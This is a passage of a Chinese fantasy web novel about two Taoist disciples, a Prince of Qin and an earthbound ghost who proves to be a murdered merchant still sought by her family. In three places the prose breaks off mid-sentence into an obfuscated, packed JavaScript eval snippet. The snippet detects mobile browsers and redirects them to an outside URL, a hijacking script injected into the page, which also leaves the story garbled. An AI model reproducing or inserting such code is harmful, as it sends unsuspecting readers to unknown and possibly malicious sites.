——就像有人曾在此处泄愤。 房间的主人就是方才那位地缚灵吗? 那又是谁,竟然对她仇恨至此,将一切砸碎来发泄? “师姐,”汤穗穗望着一片狼藉的房间,收敛起那些发散的想法,重新关注回当前的任务,犹豫着开口,“地缚灵她……?” “被她跑了。”姬忘尘抓紧还未散去的魔气,感知地缚灵的痕迹。从痕迹来看,鬼祟离开的时间并不长,应当就是识破她们身份之后迅速离开。 不过姬忘尘也有自己的办法留下标记,若是被她的灵气察觉,她必定能抓到狡猾的地缚灵。 汤穗穗心不在焉地应下,又一次望向一片狼藉的房内。她看得出来,房间的主人应当花费了不小的功夫去布置,可竟然被人打砸成如今的模样。 ……一定很难过吧。 两人各怀着不同的心情,对视后点头,双双离开这个院落。 姬忘尘在院落外又布置了另一层隔绝魔气的屏障,如今地缚灵已经有了防备,而且对方身上还有隔绝她探查的道具,很是棘手。她只能将今晚暂且搁下,和师妹商议过后再做决定。 在离开院落之前,姬忘尘顺手布阵净化了此处的魔气,削弱了地缚灵的力量。等下次地缚灵再出现,定要将她口中的约定逼问出来。 姜祀感知到宅邸内的气息变化,拉着姜祯想要给姬忘尘行礼道谢,但姬忘尘觉得自己的事情没有办完,直接闭门回绝。 废弃的院落依旧被姬忘尘封存着,当中细节并没有跟姜祯讲述,而后者也了然其中密辛不便透露,也不会多嘴过问。 虽然此行她们并没有将地缚灵净化,但短时间内宅邸的魔气被清除,对府中众人都是好事,尤其是被魔气侵染已久的秦王。 那日之后,御医汇报秦王的身体已经逐步好转,府中众人喜笑颜开。 至于秦王的身体好转的真相,御医也不会过问额外的事情,依旧按部就班地调理着亲王的身体,争取对方能够早日清醒。 57.寻人 两人走回房间时,汤穗穗看着师姐神色凝重,她知道师姐所焦虑的事情一定比她要多,她想开口分担些许,可又不知从何说起。 汤穗穗跟在师姐身后,走进了对方的房间,正等着对方下一步的安排。还没等她主动开口,就看到师姐从怀中掏出了罗盘。罗盘上颤抖不止的指针,正如她此刻久久不能平静的内心。 不对,现在不是想这个的时候! 罗盘指针强烈地颤动表明有打量外溢的魔气,现在的汤穗穗也能熟练地判断罗盘指示的方向,并非来自刚才的院落。 与此同时,姬忘尘掏出罗盘的下一刻已经起手掐诀,追溯着魔气的来源。 “我出去一趟。”锁定了方位之后,姬忘尘来不及休息,她转身就往外快速奔去,只匆匆留下一句嘱托,“你看好府里的情况。” “师姐——”汤穗穗刚喊出对方的名字,可已经追不上对方快步离去的身影。 她站在原地轻叹了口气,没想到还会面对这样的突发情况。 虽然师姐对自己的能力很信任,但汤穗穗对自己的能力有信任,但不多。 原本以为一两天就能结束,但没想到师姐这一趟出去,就是三天未归。这几天汤穗穗按照师姐之前教授的那样,每日检查屏障是否被损坏,周围有没有打量魔气聚集。 明天就是自己的生辰了,不知道还能不能听到师姐对自己说一句“生辰快乐”。 “不行不行。”汤穗穗拍了拍脑袋,将这样的想法晃出脑袋之外。 师姐是因为除魔的事务去忙,自己怎么能因小失大呢?倘若师姐赶不回来,那都是正常的。 而另一边,她确实有些在意偏僻院落那间凌乱的房间,不难想象破坏房间设施的人究竟有多生气。可为什么房间的主人不阻止对方呢? 是阻止不了……还是已经不能阻止? 那个地缚灵,又和什么人达成了约定? ……她是怎么从死灵变成地缚灵的? 难道是因为那位宗门前辈吗? “啊……好复杂……”这些接连不断的问题如同绕在一起的毛线团,汤穗穗根本找不到线头的位置。她闭着眼抱头哀嚎,将下巴抵在桌上,她觉得自己的脑袋完全不够用了。 闷在原地苦想不是她的性格,她决定往街市上漫无目的的闲逛,这种转换心情的方式是她惯用的手段。 正当她还在街上百无聊赖地走着时,忽然被人喊住名字。她转身看去,看到了笑脸盈盈的杜曜桑,和她身后热闹非凡的高大店铺,店铺前的顾客来来往往,喧闹非凡。 “穗穗姑娘!”杜曜桑眼睛尖,快步往汤穗穗的方向走去,笑眯眯地开口,“可找好宅子了?” 汤穗穗自然不会将真相讲出,打了个太极将话题绕开。杜曜桑笑眯眯地看着她转换话题,并没有追问下去。 聊了几句,汤穗穗忍不住又将目光放在对方身后的建筑,发出惊叹。 “这不算什么,倘若我姑姑还在我们身边,恐怕这商铺规模会更大些。”杜曜桑反而谦逊笑笑,口中毫不掩饰对那人的仰慕,“我姑姑才是真正的经商天才。” 即使她从来没有见过那位长辈,但对方一直是她努力学习的目标。 “抱歉……”汤穗穗不知道当中竟然还有此等憾事,连忙为自己的失言道歉。 “没事,其实我姑姑她已经失踪了很久。当时为了家族的生意,她只身北上来了王城。她在最后一封寄信提到,她已经定好了店铺位置,不日将会再商议具体的细节。 “可直到现在,我们都没有等到她的下文。当时的我父亲终日心中不安,亲自北上来寻她。可姑姑就像人间蒸发一样,找不到丝毫的痕迹。哪怕经历了最动乱的那几年,他也依旧没有离开。——不知为何,或许她们两人之间的血缘联系,让我父亲能够笃定姑姑就在王城中一样。” 杜曜桑想起父亲临终前握着自己的双手,反复嘱咐自己要寻回姑姑时的模样,语气也变得惆怅:“我父亲离世之前,不能找回姑姑成了他心中的一大憾事。若是可以,我也想完成这一夙愿。” 只是她们都知道,这些年的时光过去,对方恐怕已是凶多吉少。 “即使只能找回她的尸首,那也要带她回家。”勉励支撑自己靠在床榻上的父亲听到她的丧气话,没有反驳她,只是无奈地叹了口气,“她终究我们的家人,我们永远等待她回家。……如今我没能做到,所以我只能将这件事托付给你;倘若你也不能,就请交给你的后辈。” 如今见惯了离别的杜曜桑也逐渐理解当时父亲的想法,不管姑姑经历了什么,她始终是她们家的一员,在这个家中永远为她保留着独属的位置。 “可是你也知道,这样寻人不过是大海捞针。”汤穗穗能够理解家属寻人心切的心情,但在她看来这只会徒劳无功。 同样的话杜曜桑也曾和父亲说过,她并不觉得父亲的执着有意义。 那时候她的父亲只是笑着,摸摸她的脑袋,坚定地开口。 “就算是大海捞针,那也要捞下去。”如今的杜曜桑扬起笑脸,眼神中满是坚定,将当时父亲告诉她的那番话转述给面前的少女:“我、我们,一直在等她回家。” 不管过去十年、二十年、还是五十年,这里永远是她的家。 稚嫩的汤穗穗依然还不太理解对方寻人的意义,但她依旧被这份真挚的情绪影响,脱口而出:“你们要找的什么人,不如同我说说吧?” 汤穗穗忘了后来她又跟对方说了些什么,等她意识回笼的时候,杜曜桑一脸期待地将写好的、对折两次的纸笺递了过来:“麻烦穗穗姑娘了——倘若寻不到也无需在意,我也是想多一份希望而已。” “……好。”既然开口了,汤穗穗也只能硬着头皮收下这张合起来的纸笺收下。 轻飘飘的纸笺在她拿到手的时候,好似觉得重若千钧。这张看起来不起眼的纸笺,满载了她们家的希望。 她抬头对上面前人真挚的神情,抿着下唇,郑重地点头,再一次重复道:“好。” 她带着这张纸笺也没有了逛街的兴致,转身回到秦王府中。刚走进府邸没几步,没想到竟然在正厅看到了姜祯。 “姜姐姐!”汤穗穗先一步看到姜祯,高兴地打完招呼之后,才看到她搀扶着一个面色有些苍白的中年女人,中年拄着拐杖勉力行走着。 听到汤穗穗的声音,中年女人转头往她的方向看来。虽然女人面露虚弱的姿态,但整体的气质不怒自威,双目依旧明亮,投射来审视的视线,让汤穗穗下意识地往后退了一步。 但很快,女人柔和了眼神,笑着朝汤穗穗招了招手。而她在姜祯的搀扶下进了正厅,坐在主位上,和蔼地开口:“这位便是穗穗吧?本王能恢复清醒,多亏了二位的鼎力相助。” 关于自身的情况,秦王清醒之后就从姜祯口中听闻了二位的帮助,再加上面前的少女尽管面容稚嫩,但整体的气质依旧与众不同。 即使对方没有表明身份,但汤穗穗也马上认出对方便是这个府邸的主人——先前一直卧病在床的秦王。 看到对方招手的动作,汤穗穗听话上到两人跟前,坐在一旁的椅子上。但她并不贪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657322|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功,诚实地开口:“没有没有,我不过是给我师姐帮帮忙,算不上什么帮助……” “穗穗姑娘过谦了。”秦王刻意放柔了声音,拉进两人之间的距离。她的态度不再强硬,就像寻常唠家常一般,“说起来,怎么不见另一位道长?” “我师姐还有额外的任务,”汤穗穗担心对方会误解师姐撂下一半的摊子离开,连忙辩解道,“不过您别担心,师姐她不日就会回来,一定会将这里的情况处理干净再离开。” “好好好,那就有劳二位了。”秦王双手放在拐杖之上,笑眯眯地看向汤穗穗。 汤穗穗没想到秦王竟然如此好交流,她将堵在心口的那股紧张呼出。当她放松下来再看向对方时,不知道是不是她的错觉,总觉得亲王的眉眼有些熟悉,但一时半会不知道自己在哪里见过。 为了验证自己的想法,她不自觉地紧盯着秦王的面庞,想要和脑海中的那些逐一比对。 姜祯看少女看得入迷,故意清了清嗓子,想要唤回对方的思绪。但少女过于入迷,并没有接受到她提醒的信号。 她的视线放在秦王身上有些久,秦王下意识地抬头看向姜祯。后者什么都没看出来,不明所以地摇摇头。 见两人有长聊的架势,姜祯索性喊来随从,为几人上了温水,自己也坐在了秦王身侧的椅子上,倾听两人聊天。 “怎么,穗穗,我依旧被什么附身吗?”秦王主动开口发问。 即使对方这样长时间紧盯自己的行为分冒犯,但她并没有因此摆上架子,依旧心平气和地询问着。 听到秦王的声音,汤穗穗才猛然回神,后知后觉意识到自己竟然做了多大的一件蠢事。 不过好在,秦王比她想象中要平易近人许多。 既然对方开口发问了,汤穗穗也就不藏着掖着,直接将自己心中的想法小心翼翼地说出口:“我见秦王您似乎有些眼熟,就像我曾经在哪里见过一样……” “哈哈哈哈——这或许正说明我与穗穗姑娘有缘呢!”听到面前少女的解释,秦王喜笑颜开,忍不住打趣对方,“这世上相似之人也不少,又或许我长了一张过于寻常的脸,才让穗穗生了熟悉感。” 虽然秦王这样自嘲着,但汤穗穗也能从对方的眉眼看出,对方并非什么寻常的长相。不过既然一时没有想起,那她也就不再困扰于面前的这件事,索性和秦王多聊了几句。 秦王问起少女这段时间在王城的感受,汤穗穗也如实将自己的感受和对方说出。聊到青鹤街的传言时,她下意识看向面前人的脸色。 好在,对方并没有动怒,反而饶有兴致地听着,颇为感慨地开口:“原来青鹤街还有这等传言。” “秦王您不知道?” “谁敢跟我说这些呢?”秦王笑着反问。虽然说她待人亲和,但终究身份摆在这里,许多随从也不敢太过逾矩。 “那倒也是……”汤穗穗摸不准对方究竟如何看待这些传言,岔开了话题讲起了方才遇到杜曜桑寻人一事。 “哦?可否将纸笺让我一看?”秦王听到杜曜桑一家在寻人,脸色变得担忧起来,“说不定我能联系旁人一同协助。” 在一旁的姜祯并不意外,秦王历来都对寻人一事极为上心。或许正因为对方有过这样的经历,所以特别推己及人。 对方的身份摆在这里,既然对方主动开口援助,汤穗穗自然不会推拒。她将怀中的纸笺拿出,她自己都还没来得及打开查看,就这样递交给秦王。 秦王接过纸笺之后,下意识念出上面用工整地楷书撰写的名字:“……杜蕴辰?” 58.往事 肩膀的酸疼将姬时欢额思绪从面前的书籍中抽离,她皱着眉,伸手按压自己肩颈连接处的肌肉,缓解长时间维持同一个姿势所带来的酸疼感。 她随口问了室外的随从,原来已不知不觉间又到了二更天。姬时欢从桌案前起身,随意地舒展着筋骨。如今新朝初建,她要处理的事情还有许多,但她的肩颈处已经有些受不了了。 没想到,她时隔多年再回到王城时,不仅如年少所想、站在朝堂上实现抱负,还被赐予秦王的封号。虽然她曾经自诩学富五车,但当她面对真实的民生情况时,她不得已一再谨慎,尽量找寻耿耿好的方法。 是故,她认为自己还有许多应当要学习的方面,恨不得将每一天掰成两天用。现在即使她还想继续沉浸在面前的书籍中,可惜肩膀的酸疼让她无法忽视,更不能专注起来。 既然如此,她索性就趁机在宅邸里走走,一来可以放松身体;二来,顺道去看看前几日管家汇报的,那个打不开的院落是什么情况。 因存了随便走走的心思,她拒绝了随从同行的请求,接过对方手里的灯笼,放缓脚步往园中走去。 灯笼微弱的光线也仅能照亮几寸距离,但足以让她看清前方的障碍,再远些的景观也能借着月光看个大概。 宅院前不久刚被彻底清扫一番,一路上的杂物虽然还没有完全处理干净,但已经比初来时整洁上不少。道路两旁原先枯死的植株和疯长的野草已经被除掉,干涸的土壤也被翻松,或许再过段时间这里就还会被新的蔬菜作物覆盖。 她记得管家提到过,宅邸内也还留有专门圈养家禽的位置。 不难看出,宅邸原先的主人做好了在这里生活的准备。只是在她的印象里,原先的那位主人并不像是那种关注这等琐事的人,反而更像是另一个人的手笔。 想起宅邸当初的主人和后来的事情,姬时欢嫌恶地撇嘴,不愿再回想下去。 尽管最初她是想逛后院此放松放松,但她心中还对书籍的内容耿耿于怀,脚下的步子不自觉迈得快了一些,想要更快一些赶到东北角的院落。 走着走着,忽然就在前方的亭子下方、月色清辉的描摹中,一个影影绰绰的身形立在那里,犹如孤魂野鬼,使寂静的深夜平添一股瘆人的诡异。 然而姬时欢并不相信鬼祟之说,她提着灯笼、小心翼翼地缓慢迈步,往那人方向走去。没想到对方先一步察觉到了她的存在,猛地转身连退几步。对方的动作又急又快,生怕姬时欢还会对她做些什么。 “你是……”姬时欢隔着一段距离,看不清面前女子的神情,只觉得对方有些怯生。她试探性地往前迈出几步,放柔了声音,“……住在这里躲避城中官兵的吗?” 两人之间隔着不近的距离,即使借着灯笼的微弱光线,也不能将对方完全看清。只能依稀看见对方单薄的身影。 她猜测,面前的女子应当无家可归,趁旁人不觉,大着胆子占据了这座荒废宅邸的一角。或许偏院那扇打不开的门,也是她使了些手段不想被人发现自己的存在。 在这荒乱的世道里,能活下来都十分不容易。 也正因如此,姬时欢不会苛责对方贸然占据院落的行为,原本戒备的眼神也变得怜悯,看向不远处站在原地的女子。 看着对方默不作声的样子,姬时欢也不着急拉进两人的距离,她就站在原地将自己的身份表明,并阐述了新朝关于民生的措施,这也是最近她在思考并完善的部分。 这一路上她即使见多了民不聊生,却依旧做不到习惯。她立誓倘若此举真能成功,一定会尽自己全部的能力,将她们的生活改善。 她们成功了,所以现在也到了履行诺言的时候。 “我不会赶你走,我也不会安排她们再过来。……只是,”姬时欢打着灯笼站在原地,脸上带着笑意,郑重地开口,“你应当有全新的生活,而不是龟缩在这里,恍如亡魂。 “我希望我们能在青天白日里、堂堂正正地见面,或许在街巷市井—— “又或许在朝堂之上,等你助我们一臂之力。” 可惜那位女子没有回应她,只是久久地凝望着自己后,猛地转身消失在寂静的黑暗之中,连脚步声都听得不真切。姬时欢没有再往里走去,她沉沉地叹出心口的浊气,转身往书房的方向走去。 她越发觉得自己要做的事情十分紧迫,容不得半点懈怠。 荒唐的前朝已被结束,而她们也该尽快将百姓的生活拉回正轨。 “您认识这位是失踪者?”汤穗穗打量面前秦王的脸色,对方似乎对这个名字很熟悉。没想到这么快竟然就有了眉目。 不仅是她,姜祯也将疑惑地视线投向秦王,同时紧紧地蹙着眉,生怕这个人也是自己的熟人。 秦王余光撇到看到姜祯努力回想的模样,忍俊不禁。 纸笺上关于“杜蕴辰”得到消息,均与她所知晓的那些对应起来。她低下头将纸笺折合起来,语气中不自觉带上惆怅:“那都是二十多年前的事情了。只不过我也只是从旁人的话语中,听说过这名女子,一直未曾有机会见过。——不过她原来并没有回家吗?” 一边说着,秦王一边将纸笺交还给汤穗穗,顺带说起当年的事情。 那时仍是前朝,她顺利通过科举初入仕途后几年间,曾听闻同僚提起过,城中来了位颇有能力的女郎。在她记忆里,这位女郎与同伴起了不小的争执,毅然抛下王城进行到一半的计划,决绝地回了老家。 “……而她的那位同伴,正是这座宅邸的前主人,也是穗穗你方才提到的青鹤街传闻中的状元。” “那她们当时……”汤穗穗惊讶得瞪大了眼睛,她万万没想到,传闻中的状元与失踪的杜蕴辰,竟然会有串联起来的可能。 “听说两人当时已经到了成亲的地步,只可惜最后还是不欢而散。”秦王没有细说,只是当她回忆起状元的说辞,不自觉地蹙起了眉。那人言语听起来一往情深,实则处处将责任抛在对方身上。 在此之前,秦王也曾看过对方的答卷,从回答来看,对方确实有几分才能。但当时听闻他的那番话之后,她对此人的印象一下子坠落谷底。 也正因如此,她便一直就对此人极为不喜,认为对方品行堪忧。可她还是听到,朝堂中人竟然还想将此人重用的消息。不过还没等上面确定好他的官职,这人就变得疯疯癫癫,最后死在了自家的府邸。 秦王不敢细想,那些当年说要将状元重用的人,是否知晓真相。……又或者,那些人根本不在乎真相是什么,只认为此人有“才能”便足够了。 可倘若一个品行有缺的人,即使身负再多的才能,当真会对治下百姓尽心尽责吗? ——秦王一惯对此报以否定看法。 之后的事秦王知之甚少,那时朝堂内部过于腐败,再加上她因女子身份被轻视、排挤。不过她因此认识了如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663299|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王朝的皇帝,两人成了莫逆之交。 那段时间里,她被安排了许多零碎杂活,每日忙得脚不沾地。只是又听旁人提起,有人见他疯癫的模样,便怀疑此地惹上了邪祟,上面又专门找来道长作法。 再后来,她因为一些事情主动离开了王城,直到几年前才随着皇帝重回故地。 尽管在府中也遇到了不寻常之事,但她始终不认为对方是什么“邪祟”,那人只是无家可归的流浪客罢了。不过她也已经很久没有再见过对方,或许那位女子也已经展开了全新的生活。 汤穗穗听到秦王将宅邸里的故事讲明,她脑海中猛然响起昨夜听到的那道女声,琐碎的信息如珠子一般连接成串,惊人的猜测让她不自觉地张大了嘴,低声呢喃:“不可能吧……” 失去踪迹的女郎,疯疯癫癫的状元,寻了一辈子人的杜家……循着这个思路往深去想,当年的事情或许还有另一种残忍的可能。 即便汤穗穗没有明讲,秦王也能从她的脸上的神情猜到些许,她重重拧眉:“穗穗的意思是,杜蕴辰非但没有如那人所说离开了王城,反而是被他杀害在了这里?” “真是岂有此理!”秦王想到当年所谓的状元。竟然胆敢在众人的眼皮子底下将杜蕴辰谋害,甚至装出一副受害者的容貌,瞬间怒不可遏,将手重重地拍打在一旁的木桌上,震得桌上的茶杯发出清脆的碰撞声。 “您消消气。”姜祯也做出了最坏的猜测,她心中同样倍感愤怒。但她将手放在秦王的肩膀上低声安慰,避免对方肝火过旺伤了身体,“但也仅仅是猜测罢了……” 可仅仅是猜测,对于熟知那些人的秦王来说,无疑是一道铁证。同样的戏码或许不止上演过一次,她难以想象,曾经有多少鲜活的生命凋零在这些人的傲慢之下;又有多少正义被他们的无视所掩盖。 她努力克制着自己的怒火,可是心中依旧悲愤难平。她觉得自己应当有义务做些什么,哪怕是迟到了很多年的真相,依旧不该埋葬在泥土之下。 想到这里,秦王的脑海中萌生了新的想法,她匆匆起身告别汤穗穗,在姜祯的搀扶下往书房走去。 “可是您的身体……”姜祯挽着对方的手臂,心疼地望向对方,想劝对方多歇一会。 “无妨。”她扶着姜祯的手臂,缓慢但坚定地表达了自己的态度,“现在还不是我休息的时候。” 从方才秦王起身时,汤穗穗就已经站了起来。她站在原地看着秦王的坚定的侧脸,一时失了神,那股似曾相识的感觉又浮在她的心头。 汤穗穗望着对方离开的背影,由于对方身体的缘故,她的每一步都走得很慢,但她迈出的每一步都那么坚定。她的心中心绪复杂,直到对方的身影沿着连廊消失在视野的尽头,才收回自己的视线。 她下意识低头,看向手中捏紧的纸笺,上面详细地描述了“杜蕴辰”的生辰与容貌,还有说话与生活的习惯。从上面详细的信息不难看出,对方的家人对找回她的这件事抱着怎样的希冀。 倘若她早在多年之前就已经殒命于状元之手,那一直都在期待着她回家的亲人们,又该有多难过…… 汤穗穗又想起昨夜遇到的地缚灵。倘若院落里的地缚灵真的就是杜蕴辰,那她口中的“准备”应当就不是复仇。毕竟那位状元早就死了,现在都该化作黄土一抔。 ……那她还需要准备些什么? 难道会是对秦王不利的阴谋吗? 59.生辰 深夜,月光照得满地清辉。 汤穗穗站在偏僻的院落面前,望着面前黑黢黢的木门,不自觉地叹了口气。秦王急匆匆地离开之后,对方就一直在书房里埋头苦干,连餐食都是随从亲手送入书房。 而她也一直被脑海中的想法影响着,久久不能平静。她努力想将将繁杂的想法压回心底,可手上得到信笺却让她不能忽视些许。她将信笺的信息誊抄了几分,想着回到宗门之后,或许也能让师长们留意此人的存在。 可是她誊抄了十几份,依旧觉得心绪难平,还是想四处走走散散心。可她的脚步不知不觉地就走到了偏僻的院落,最外层有一道浅浅的绿色笼罩。 她跨过这层浅绿色的屏障,站定在门前,鬼使神差地伸出手,轻轻叩击沉重的木门,发出两声沉闷的声响。 门内无人应答,只有风声刮过地上的落叶,发出窸窸窣窣的声音。 汤穗穗越觉得自己有些好笑,但她又一次叩击面前的木门,轻声地开口:“……你是杜蕴辰吗?” 寂静的深夜,只有意料之中的风声给她回答。 “当年你真的殒命于状元之手吗?……可后来你又是怎么变成如今的模样?”汤穗穗想起昨夜对方提到的“约定”,不免猜测,“你所说的约定,是和你的复仇相关吗?” 风声似乎急促了些,发出“哗哗”的响声,刮得汤穗穗发丝飞舞。她将怀中誊抄的纸笺掏出,将其顺着门下的缝隙塞了进去。 “……上面的信息是你吗?你的家人她们搬来了王城,她们一直在寻找着你。”汤穗穗想起自己已经努力写得端正的字体,羞愧得挠了挠头,“抱歉我的字不是很好看,但我努力写端正了。……如果不是你的话,你知道上面你的这个人去哪里了吗?” 她紧张地捏着自己的手,不自觉的攥紧衣摆。不知道是不是她的错觉,原本喧闹的风声也变得平静,可她并没有感觉到的魔气如那天一样汇聚在一起,反而更像涓涓细流流淌在自己身边。 门后久久未有回应。 汤穗穗本身也不是想要真的和地缚灵交流,只是她不擅长将烦心事闷在心里。在师姐还没回来的时候,她还是想找什么人诉说出来。 “……你会想她们吗?”她自问自答,声音放得很轻,轻得被风吹散,几不可闻,“应当是想的吧,毕竟她们是朝夕相处过的亲人啊……” 说出这番话的时候,汤穗穗的语调控制不住发颤。她不自觉地想起了许多人——从前的家人到现在的师长。可如今她身处这座陌生的宅邸的时候,莫名觉得萧瑟寂寥。她对周围的一切极其陌生,根本不能担当这样的重任。 在师姐短暂离开的这些天里,她觉得自己的身边空空如也,无人可以依靠。 ……即使她不想承认,但她知道,她被自己最爱的师姐遗弃在了这里。 在她脑海萌生这样的想法时,身侧的链剑剧烈地颤抖着,还散发着热量,逼得汤穗穗回了神。 ——不对! 她很快意识到不对劲,大退一步走回灵气的屏障内。随着她回到灵气范围内,她的神智清醒了许多。是她低估了魔气对人的影响,就这么一会的时间,就让情绪低落的她无意识地陷在厚重的忧郁当中,不自觉地变得自暴自弃起来。 意识到这一点的汤穗穗,惊魂未定地咽下口水,胸膛中的心脏剧烈地跳动着。昨晚她和师姐一起来的时候,心中警惕万分,还调用灵气屏蔽感官,因此没有被魔气影响。 但她今天完全没有戒备,这才险些着了道。 果然面对魔气,还是不能有丝毫懈怠。 汤穗穗不敢再停留在原地,她连忙转身离开这里。等她的身影彻底消失之后,方才的木门后方出现了几乎透明的人影,月光在她身上镀上一层柔边。 那个人影伸手调用魔气将地上的纸笺拾起、摊开浮在半空中。纸笺上的字体形状不算横平竖直,但依旧端正地一笔一划,将每个字写得十分清晰。 她脸上露出苦涩的笑容,伸手靠近纸笺,指尖轻颤。即使如今她已经是非人之物,可那些汹涌的情绪还是不断地影响着她,压得她险些控制不住自己的气息。 同那位道长做下约定之后,她便没有再离开这里的一亩三分地。未曾想到,她的家人们竟也来到王城寻她,寻了好多年。 她的视线下移,落在了纸笺落款的“杜曜桑”上,心间泛起异样的情绪。那是她寄回家的最后一封信件里提到的,不日她便会与那人成亲,或许不久后也会拥有自己的孩子。 那时的她都将名字想好了,只是后来的故事却如此天差地别。 想起那人,她勉强稳住的情绪又再次翻涌,在庭院中形成一小股紫色的风涡,卷得地上的落叶不断地发出响声。她捏紧自己已无法感知触觉的手,拧着眉紧咬牙关,心中默念道长教授的口诀,与脑海中被放大的喧闹声音对抗着。 过去的几十年里,她总是这样维持住自己的神思。现在的她死不了,但倘若放大脑海中的思绪,她就会彻底变成被情绪操纵的怪物。 她捂着心口,艰难地抬头看向尚未圆满的明月。还有几天就是祭月节,她想和这里的新主人做一场告别,之后再找到昨夜的两位道长,彻底了结自己这副本不应存与世间的身体。 至于寻了她许久的家人们,她会嘱托道长说出实情,让她们别再困在自己的事情上。 ……而她,不想自己这副非人的身躯惊吓到她们。 “你会想她们吗?”耳畔响起方才小道长的那句话,嘴角扯出酸涩的笑容,无声地开口:“……可我,已经不存在了啊。” 想又有什么用呢? 一直到汤穗穗生辰当天,师姐还是没有回来。比起师姐不能直接庆贺生辰的失落,她更心疼师姐奔波在除魔路上的辛苦。 “今日便是你的生辰吗?!”姜祯瞪大了眼睛看向面前的少女,她只觉得对方神态与寻常格外不同,便随口一问,没想到竟然是这般理由。她匆忙将口中食物咽下,并撂下筷子,专注地看向少女,“不知穗穗道长想要何种生辰礼?” 汤穗穗原本不欲声张,方才面对姜祯的问话时还是如实告知,但没想到对方竟然张罗着要给自己安排生辰礼物。 “不用不用,”汤穗穗有些受宠若惊,说实话她并没有做出什么太大的贡献,贸然接受对方的好意,实在是受之有愧。 “既然碰巧至此,穗穗道长可不要推脱才是。”姜祯笑眯眯地往她的方向挪了一步,按住她的手,“我还不知道穗穗道长以往是怎么庆生的呢?” “以往啊……”看着对方这副期盼的神态,汤穗穗顺着对方的话题往下思考,脱口而出,“我的家人会给我做上一碗长寿面。” 后知后觉想起,去年过生辰时还是在山上。那时候师傅会给她准备好一碗长寿面,病在上面卧了漂亮的荷包蛋,还撒上葱花点缀。即使食材非常简单,但汤穗穗还是能够感受到其中满载着的心意。 在她的心里,无论是师姐还是师傅,都是她的家人。虽然称谓有所不同,但岁月早将彼此紧紧地联系在了一起,走过每一次生辰。 “既然如此,不知穗穗道长可否赏脸,这次就让我们来准备长寿面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或许有人会就这样接下昂贵的礼物,甘愿一拍两合,成为旁人眼中的另一个人,但不会是汤穗穗。 汤穗穗只是汤穗穗,她不是谁的替代品,也不会成为任何人的寄情。 “我……”秦王料到汤穗穗会拒绝,但没想到对方将话语说的如此直白,嘴唇张了又合,却没找到更好的说辞。 “不过这碗长寿面还是受得起的,”汤穗穗开口打断,回到自己的位置上,话锋一转,笑眯眯地捧着面前的长寿面,眯着眼将长寿面的香气吸进去后,又睁眼,“有这碗长寿面我就足够啦!” “好,穗穗慢些吃。”面前少女天真烂漫的模样让秦王不自觉的勾起嘴角,将心口的浊气呼出,也不再将对女儿的情感寄托在旁人身上。她招呼着随从将木匣拿走,向汤穗穗郑重地道歉:“抱歉,方才是我想岔了,还请穗穗道长见谅。” 面前的少女虽然不谙世事,但她也有自己的执着与坚持。若真的将她们混为一谈,对两人都有失偏颇。 听到对方的话语后,汤穗穗笑着摇摇头,其实她并没有把这件事放在心上。她正低头望着面前的长寿面,热意从碗边蔓延到她的手中,寻常的面条还在上面卧了个荷包蛋,周围还有些许葱花做点缀——正如记忆中的模样。 她试探性地拿起筷子挑了一簇面条,吹去上面的热气,放入口中。一如她所料,这碗面条的味道比起寻常要淡上许多。 她也在王府住了一段时间,清楚知道这样的差错绝对不会出现在府中的厨师身上。 猜想到某种可能,汤穗穗激动得心脏怦怦跳,几乎要跳出自己的胸膛。 60.团圆 姜祯将在晚餐前特意嘱托厨房为汤穗穗煮一碗家常的长寿面,可厨房众人却因此犯了难。虽说长寿面的制作并不难,但不同的地方所偏好的口味都不相同,她们并不熟悉小道长的口味,生怕做得不合胃口。 正当几人面面相觑的时候,厨房中来了一个意料之外的身影,她听闻了姜祯的安排,先一步到了厨房:“我来吧。” “道长!”厨师们望声音的方向回头,见到姬忘尘走来的身影,她们不约而同地松了一口气——在她们这里,没有人比这位同行的道长更熟悉小道长的口味了。她们纷纷为姬忘尘让开了位置,在她身边解释道:“辛苦道长了,我们都不太清楚小道长的口味……” “无妨。”姬忘尘虽然许久未下厨,但简单的长寿面还是比较容易上手的,不一会便将面食做好,按习惯卧上荷包蛋并撒上葱花。 她擦了擦手,看着随从将这长寿面端过去的身影,她不自觉的放松了眉眼,嘴角也勾起轻松的弧度。 等等—— 她今天应该加够盐……了吧? 即使姬忘尘一会回到了王府,但她并没有随着随从去正厅,也没有回到自己的卧房,而是脚步一转拐到了偏僻的院落。 其实她知道秦王已经清醒,只是一时半会间她还没有做好见到对方的准备。 原本以为需要废不小的功夫才能将地缚灵逼出来,没想到她就坐在院中的石桌旁,桌上摊着一张平整的字条。对方出神地望着前方,她的身影也已经凝结,能较为清楚地看清五官,那是一张看起来与自己年纪不相上下的面孔。 “道长。”对方在姬忘尘靠近之前就将眼神望了过来,神色坦然,“我们能打个商量吗?” 